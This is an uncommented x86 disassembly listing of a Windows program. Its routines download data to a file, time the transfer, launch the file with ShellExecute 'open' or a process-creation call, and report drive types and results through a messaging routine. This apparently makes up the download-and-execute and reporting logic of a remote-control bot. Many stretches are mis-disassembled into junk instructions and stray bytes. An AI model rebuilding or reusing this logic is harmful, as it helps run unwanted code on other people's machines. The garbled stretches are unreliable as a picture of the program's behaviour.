		call	ds:dword_42106C	; CloseHandle
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		push	dword ptr [ebp-44h]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_42BB48
		push	eax
		call	sub_4154E9


loc_40BA17:				; CODE XREF: seg000:0040B8EEj
		add	esp, 14h


loc_40BA1A:				; CODE XREF: seg000:0040B927j
		cmp	[ebp-50h], esi
		jnz	short loc_40BA3F
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h] ; CODE XREF: seg000:0040BA7Aj
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D4E
		add	esp, 14h


loc_40BA3F:				; CODE XREF: seg000:0040BA1Dj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_40B16D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40BA57
		push	edi
		call	ds:dword_43A420


loc_40BA57:				; CODE XREF: seg000:0040BA4Ej
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A420
		push	dword ptr [ebp-58h]
		call	sub_4152B1
		pop	ecx
		push	esi
		call	near ptr 0A80000h


loc_40BA72:				; CODE XREF: seg000:0040B9C1j
					; seg000:0040B9CCj
		lea	edx, [esi-42h]
		sbb	al, 0BBh
		inc	edx
		add	bh, bh
		jnz	short near ptr loc_40BA26+2
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D4E
		push	esi
		call	sub_40B16D
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A420
		push	dword ptr [ebp-58h]
		call	sub_4152B1
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
		jno	short loc_40BB0A
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_415D70
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 0A80000h
		xor	[ebp-1A37Bh], cl
		call	dword ptr [eax-73h]
		test	ds:8D50FFFFh[edi*8], edi
		test	ds:0A068FFFFh[edi*8], edi


loc_40BB0A:				; CODE XREF: seg000:0040BAB3j
		insb
		inc	edx
		add	[eax-18h], dl
		setalc
		cdq
; ---------------------------------------------------------------------------
		db 2 dup(0), 83h
; ---------------------------------------------------------------------------
		les	edx, [eax]
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BB3E
		push	offset dword_42BD8C
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------


loc_40BB3E:				; CODE XREF: seg000:0040BB35j
		push	eax
		call	ds:dword_42106C	; CloseHandle
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_415BE8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_40BB66
		push	offset dword_42BD48
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------


loc_40BB66:				; CODE XREF: seg000:0040BB5Dj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_40B4CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_40BB97
		push	offset dword_42BD14


loc_40BB84:				; CODE XREF: seg000:0040BB3Cj
					; seg000:0040BB64j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	loc_40BC91
; ---------------------------------------------------------------------------


loc_40BB97:				; CODE XREF: seg000:0040BB7Dj
		mov	esi, 1000h


loc_40BB9C:				; CODE XREF: seg000:0040BC02j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3A0
		mov	edi, eax
		cmp	edi, ebx
		jz	near ptr loc_40BC62+1
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40BC04
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_4175FF
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	ds:dword_43A384
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3D8
		jmp	short loc_40BB9C
; ---------------------------------------------------------------------------


loc_40BC04:				; CODE XREF: seg000:0040BBCCj
		lea	eax, [ebp-4C4h]
		push	offset dword_42BB1C
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_412D4E
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-4]
		call	sub_415B40
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	ds:dword_43A420
		push	dword ptr [ebp-1Ch]
		call	sub_4152B1
		pop	ecx
		push	1
		call	near ptr 0A80000h


loc_40BC62:				; CODE XREF: seg000:0040BBC3j
		or	byte ptr [ebx+5299F845h], 50h
		call	sub_40C218
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset dword_42BCBC
		push	eax
		call	sub_4154E9
		add	esp, 1Ch


loc_40BC91:				; CODE XREF: seg000:0040BB92j
		cmp	[ebp-14h], ebx
		jnz	short loc_40BCB6
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_412D4E
		add	esp, 14h


loc_40BCB6:				; CODE XREF: seg000:0040BC94j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_40B16D
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_40BCD1
		push	dword ptr [ebp-4]
		call	sub_415B40
		pop	ecx


loc_40BCD1:				; CODE XREF: seg000:0040BCC6j
		cmp	[ebp+8], ebx
		jbe	short loc_40BCDF
		push	dword ptr [ebp+8]
		call	ds:dword_43A420


loc_40BCDF:				; CODE XREF: seg000:0040BCD4j
		push	dword ptr [ebp-1Ch]
		call	sub_4152B1
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------


loc_40BCEF:				; DATA XREF: seg000:0041053Co
					; seg000:00410C89o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	ds:dword_43A338
		call	ds:dword_43A298
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_40C17B
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short near ptr loc_40BDB5+1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42C048
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40BD99
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D4E
		add	esp, 14h


loc_40BD99:				; CODE XREF: seg000:0040BD77j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-48h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h


loc_40BDB5:				; CODE XREF: seg000:0040BD57j
		imul	esi, [ebx], -1
		call	ds:dword_42104C	; GetTickCount
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_415DC9
		pop	ecx
		mov	[ebp-1Ch], eax


loc_40BDD0:				; CODE XREF: seg000:0040BEA3j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	ds:dword_43A2A0
		cmp	[ebp-34h], esi
		jz	short loc_40BE14
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	near ptr loc_40C1E0+1
		pop	ecx
		pop	ecx


loc_40BE14:				; CODE XREF: seg000:0040BE01j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 0A80000h
		cld
		cmp	edi, ebx
		jnb	short loc_40BE52
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_40BE3C
		mov	eax, [ebp+8]


loc_40BE3C:				; CODE XREF: seg000:0040BE37j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch


loc_40BE52:				; CODE XREF: seg000:0040BE2Ej
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_40BE5F
		cmp	edi, [ebp-3Ch]
		ja	short loc_40BEA9


loc_40BE5F:				; CODE XREF: seg000:0040BE58j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_40BE79
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BFFC
		jmp	short loc_40BE89
; ---------------------------------------------------------------------------


loc_40BE79:				; CODE XREF: seg000:0040BE65j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BFB8


loc_40BE89:				; CODE XREF: seg000:0040BE77j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43F318
		push	eax
		call	sub_4154E9
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_40BDD0


loc_40BEA9:				; CODE XREF: seg000:0040BE5Dj
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_40BEFE
		cmp	edi, [ebp-3Ch]
		jz	short loc_40BEFE
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_42BF70
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D4E
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B16D
		add	esp, 28h


loc_40BEFE:				; CODE XREF: seg000:0040BEB3j
					; seg000:0040BEB8j
		call	ds:dword_42104C	; GetTickCount
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_42106C	; CloseHandle
		push	dword ptr [ebp-1Ch]
		call	sub_415E3D
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_40BF88
		lea	eax, [ebp-148h]
		push	eax
		call	sub_40B459
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_40BF88
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42BF34
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D4E
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B16D
		add	esp, 28h


loc_40BF88:				; CODE XREF: seg000:0040BF30j
					; seg000:0040BF42j
		cmp	[ebp-14h], esi
		jz	loc_40C1C8
		cmp	dword ptr [ebp-44h], 1
		jz	loc_40C083
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_421660
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_421660
		fstp	qword ptr [esp]
		push	offset unk_42BEE8
		push	eax
		call	sub_4154E9
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40C003
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D4E
		add	esp, 14h


loc_40C003:				; CODE XREF: seg000:0040BFE1j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B16D
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_40C1C8
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_43A2FC
		cmp	[ebp-30h], esi
		jnz	loc_40C1C8
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_42BEB0
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D4E
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B16D
		add	esp, 24h
		jmp	loc_40C1C8
; ---------------------------------------------------------------------------


loc_40C083:				; CODE XREF: seg000:0040BF95j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_421660
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_421660
		fstp	qword ptr [esp]
		push	offset unk_42BE5C
		push	eax
		call	sub_4154E9
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40C0EB
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D4E
		add	esp, 14h


loc_40C0EB:				; CODE XREF: seg000:0040C0C9j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B16D
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_438FAC
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 0A80000h
		mov	[ebx], bh
		mov	dword ptr [ebp+12h], 0A2E815FFh
		inc	ebx
		add	al, ch
		scasd
		fdiv	st(7), st
		call	dword ptr [esi-1]
		adc	eax, offset dword_421114
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_42BE10
		jmp	short loc_40C187
; ---------------------------------------------------------------------------


loc_40C17B:				; CODE XREF: seg000:0040BD34j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BDD0


loc_40C187:				; CODE XREF: seg000:0040C179j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40C1BB
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D4E
		add	esp, 14h


loc_40C1BB:				; CODE XREF: seg000:0040C199j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_40C1C8:				; CODE XREF: seg000:0040BF8Bj
					; seg000:0040C014j ...
		push	dword ptr [ebp-18h]
		call	ds:dword_43A3BC
		push	dword ptr [ebp-48h]
		call	sub_4152B1
		pop	ecx
		push	esi
		call	near ptr 0A80000h


loc_40C1E0:				; CODE XREF: seg000:0040BE0Dp
		xor	al, 8Bh
		inc	esp
		and	al, 4
		xor	ecx, ecx
		cmp	[esp+8], ecx
		jle	short locret_40C1FD


loc_40C1ED:				; CODE XREF: seg000:0040C1FBj
		mov	dl, ds:byte_42C184
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+8]
		jl	short loc_40C1ED

locret_40C1FD:				; CODE XREF: seg000:0040C1EBj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40C1FE	proc near		; CODE XREF: seg000:0040F791p
					; seg000:0040F8E8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417709
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40C1FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C218	proc near		; CODE XREF: seg000:0040680Dp
					; seg000:004069A9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43E758
		push	0
		push	edi
		call	sub_415570
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40C23D:				; CODE XREF: sub_40C218+5Bj
					; sub_40C218+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_417260
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4172E0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40C27B
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40C23D
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40C23D
; ---------------------------------------------------------------------------


loc_40C27B:				; CODE XREF: sub_40C218+4Bj
		dec	esi
		mov	eax, edi


loc_40C27E:				; CODE XREF: sub_40C218+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40C28D
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------


loc_40C28D:				; CODE XREF: sub_40C218+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C218	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C297	proc near		; CODE XREF: sub_40C443+51p
					; sub_40C443+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43A3E8
		sub	eax, 0
		jz	short loc_40C2DA
		dec	eax
		jz	short loc_40C2D4
		dec	eax
		dec	eax
		jz	short loc_40C2CE
		dec	eax
		jz	short loc_40C2C8
		dec	eax
		jz	short loc_40C2C2
		dec	eax
		jz	short loc_40C2BC
		mov	eax, offset word_42B7AC
		retn
; ---------------------------------------------------------------------------


loc_40C2BC:				; CODE XREF: sub_40C297+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_40C2C2:				; CODE XREF: sub_40C297+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40C2C8:				; CODE XREF: sub_40C297+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40C2CE:				; CODE XREF: sub_40C297+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40C2D4:				; CODE XREF: sub_40C297+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40C2DA:				; CODE XREF: sub_40C297+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40C297	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2E0	proc near		; CODE XREF: sub_40C328+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_43A284
		test	eax, eax
		jz	short loc_40C315
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax ; dword_43A284


loc_40C315:				; CODE XREF: sub_40C2E0+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C328	proc near		; CODE XREF: sub_40AAD1+1F3p
					; sub_40C443+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C2E0
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40C42F
; ---------------------------------------------------------------------------


loc_40C400:				; CODE XREF: sub_40C328+2Cj
					; sub_40C328+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4154E9
		add	esp, 18h


loc_40C42F:				; CODE XREF: sub_40C328+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C443	proc near		; CODE XREF: sub_40C515+17p
					; sub_40C515+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40C328
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_415910
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40C4B6
		push	ebx
		push	ebx
		call	sub_40C297
		pop	ecx
		push	eax
		push	offset dword_42C110
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	short loc_40C4EA
; ---------------------------------------------------------------------------


loc_40C4B6:				; CODE XREF: sub_40C443+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40C297
		pop	ecx
		push	eax
		push	offset dword_42C0C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 20h


loc_40C4EA:				; CODE XREF: sub_40C443+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40B16D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C515	proc near		; CODE XREF: seg000:0041206Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40C536
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C443
		add	esp, 10h
		jmp	short loc_40C597
; ---------------------------------------------------------------------------


loc_40C536:				; CODE XREF: sub_40C515+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_43A2F8
		lea	esi, [eax+2]
		push	esi
		call	sub_415DC9
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_43A2F8
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40C58E


loc_40C55A:				; CODE XREF: sub_40C515+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C57D
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C443
		add	esp, 10h


loc_40C57D:				; CODE XREF: sub_40C515+54j
		push	esi
		call	sub_415CF0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40C55A


loc_40C58E:				; CODE XREF: sub_40C515+43j
		push	edi
		call	sub_415E3D
		pop	ecx
		pop	edi
		pop	esi


loc_40C597:				; CODE XREF: sub_40C515+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40C515	endp

; ---------------------------------------------------------------------------


loc_40C59A:				; DATA XREF: sub_40C682+11o
		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_43F524
		call	ds:dword_43A420
		call	sub_41515E
		call	ds:dword_43A2E8
		call	ds:dword_43A2E8
